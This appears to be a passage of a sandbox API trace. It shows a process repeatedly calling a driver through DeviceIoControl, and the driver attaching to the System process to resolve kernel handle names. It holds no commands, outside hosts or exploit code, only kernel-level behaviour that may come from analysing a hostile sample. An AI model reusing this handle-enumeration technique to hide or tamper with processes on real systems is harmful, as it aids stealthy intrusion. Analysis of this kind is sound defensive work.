HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800ed43f20, HandleInformation=0x0) returned 0x0 [0130.128] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.128] PsReleaseProcessExitSynchronization () returned 0x2 [0130.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.128] ObQueryNameString (in: Object=0xfffffa800ed43f20, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.128] ObfDereferenceObject (Object=0xfffffa800ed43f20) returned 0x2 [0130.128] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.128] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.128] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.128] PsAcquireProcessExitSynchronization () returned 0x0 [0130.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.129] ObReferenceObjectByHandle (in: Handle=0xffffffff80000788, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800349e950, HandleInformation=0x0) returned 0x0 [0130.129] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.129] PsReleaseProcessExitSynchronization () returned 0x2 [0130.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.129] ObQueryNameString (in: Object=0xfffffa800349e950, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.129] ObfDereferenceObject (Object=0xfffffa800349e950) returned 0x2 [0130.129] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.129] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.129] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.129] PsAcquireProcessExitSynchronization () returned 0x0 [0130.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.129] ObReferenceObjectByHandle (in: Handle=0xffffffff8000078c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800250a550, HandleInformation=0x0) returned 0x0 [0130.129] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.129] PsReleaseProcessExitSynchronization () returned 0x2 [0130.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.129] ObQueryNameString (in: Object=0xfffffa800250a550, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.129] ObfDereferenceObject (Object=0xfffffa800250a550) returned 0x2 [0130.129] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.129] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.129] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.129] PsAcquireProcessExitSynchronization () returned 0x0 [0130.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.129] ObReferenceObjectByHandle (in: Handle=0xffffffff8000079c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002584280, HandleInformation=0x0) returned 0x0 [0130.130] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.130] PsReleaseProcessExitSynchronization () returned 0x2 [0130.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.130] ObQueryNameString (in: Object=0xfffffa8002584280, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.130] ObfDereferenceObject (Object=0xfffffa8002584280) returned 0x2 [0130.130] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.130] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.130] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.130] PsAcquireProcessExitSynchronization () returned 0x0 [0130.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.130] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019ee050, HandleInformation=0x0) returned 0x0 [0130.130] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.130] PsReleaseProcessExitSynchronization () returned 0x2 [0130.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.130] ObQueryNameString (in: Object=0xfffffa80019ee050, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.130] ObfDereferenceObject (Object=0xfffffa80019ee050) returned 0x2 [0130.130] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.130] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.130] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.130] PsAcquireProcessExitSynchronization () returned 0x0 [0130.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.130] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800340bb10, HandleInformation=0x0) returned 0x0 [0130.130] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.130] PsReleaseProcessExitSynchronization () returned 0x2 [0130.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.131] ObQueryNameString (in: Object=0xfffffa800340bb10, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.131] ObfDereferenceObject (Object=0xfffffa800340bb10) returned 0x2 [0130.131] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.131] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.131] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.131] PsAcquireProcessExitSynchronization () returned 0x0 [0130.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.131] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002191330, HandleInformation=0x0) returned 0x0 [0130.131] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.131] PsReleaseProcessExitSynchronization () returned 0x2 [0130.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.131] ObQueryNameString (in: Object=0xfffffa8002191330, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.131] ObfDereferenceObject (Object=0xfffffa8002191330) returned 0x2 [0130.131] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.131] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.131] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.131] PsAcquireProcessExitSynchronization () returned 0x0 [0130.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.131] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800218eaa0, HandleInformation=0x0) returned 0x0 [0130.131] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.131] PsReleaseProcessExitSynchronization () returned 0x2 [0130.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.131] ObQueryNameString (in: Object=0xfffffa800218eaa0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.132] ObfDereferenceObject (Object=0xfffffa800218eaa0) returned 0x2 [0130.132] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.132] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.132] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.132] PsAcquireProcessExitSynchronization () returned 0x0 [0130.132] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.132] ObReferenceObjectByHandle (in: Handle=0xffffffff800007bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002364460, HandleInformation=0x0) returned 0x0 [0130.132] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.132] PsReleaseProcessExitSynchronization () returned 0x2 [0130.132] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.132] ObQueryNameString (in: Object=0xfffffa8002364460, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.132] ObfDereferenceObject (Object=0xfffffa8002364460) returned 0x2 [0130.132] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.132] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.132] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0130.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.132] PsAcquireProcessExitSynchronization () returned 0x0 [0130.132] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.132] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021afae0, HandleInformation=0x0) returned 0x0 [0130.132] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.132] PsReleaseProcessExitSynchronization () returned 0x2 [0130.132] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.132] ObQueryNameString (in: Object=0xfffffa80021afae0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.132] ObfDereferenceObject (Object=0xfffffa80021afae0) returned 0x2 [0130.132] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.133] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.133] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.133] PsAcquireProcessExitSynchronization () returned 0x0 [0130.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.133] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800b3b5050, HandleInformation=0x0) returned 0x0 [0130.133] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.133] PsReleaseProcessExitSynchronization () returned 0x2 [0130.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.133] ObQueryNameString (in: Object=0xfffffa800b3b5050, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.133] ObfDereferenceObject (Object=0xfffffa800b3b5050) returned 0x2 [0130.133] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.133] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.133] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.133] PsAcquireProcessExitSynchronization () returned 0x0 [0130.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.133] ObReferenceObjectByHandle (in: Handle=0xffffffff800007cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800c5def20, HandleInformation=0x0) returned 0x0 [0130.133] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.133] PsReleaseProcessExitSynchronization () returned 0x2 [0130.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.133] ObQueryNameString (in: Object=0xfffffa800c5def20, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.133] ObfDereferenceObject (Object=0xfffffa800c5def20) returned 0x2 [0130.133] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.133] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.134] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.134] PsAcquireProcessExitSynchronization () returned 0x0 [0130.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.134] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800397bbc0, HandleInformation=0x0) returned 0x0 [0130.134] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.134] PsReleaseProcessExitSynchronization () returned 0x2 [0130.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.134] ObQueryNameString (in: Object=0xfffffa800397bbc0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.134] ObfDereferenceObject (Object=0xfffffa800397bbc0) returned 0x2 [0130.134] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.134] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.134] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.134] PsAcquireProcessExitSynchronization () returned 0x0 [0130.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.134] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214cdb0, HandleInformation=0x0) returned 0x0 [0130.134] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.134] PsReleaseProcessExitSynchronization () returned 0x2 [0130.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.134] ObQueryNameString (in: Object=0xfffffa800214cdb0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.134] ObfDereferenceObject (Object=0xfffffa800214cdb0) returned 0x2 [0130.134] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.134] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.134] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.134] PsAcquireProcessExitSynchronization () returned 0x0 [0130.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.135] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030bbf20, HandleInformation=0x0) returned 0x0 [0130.135] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.135] PsReleaseProcessExitSynchronization () returned 0x2 [0130.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.135] ObQueryNameString (in: Object=0xfffffa80030bbf20, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.135] ObfDereferenceObject (Object=0xfffffa80030bbf20) returned 0x2 [0130.135] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.135] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.135] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.135] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.135] PsAcquireProcessExitSynchronization () returned 0x0 [0130.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.135] ObReferenceObjectByHandle (in: Handle=0xffffffff800007dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020cb430, HandleInformation=0x0) returned 0x0 [0130.135] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.135] PsReleaseProcessExitSynchronization () returned 0x2 [0130.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.135] ObQueryNameString (in: Object=0xfffffa80020cb430, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.135] ObfDereferenceObject (Object=0xfffffa80020cb430) returned 0x2 [0130.135] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.135] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.135] RtlAllocateHeap 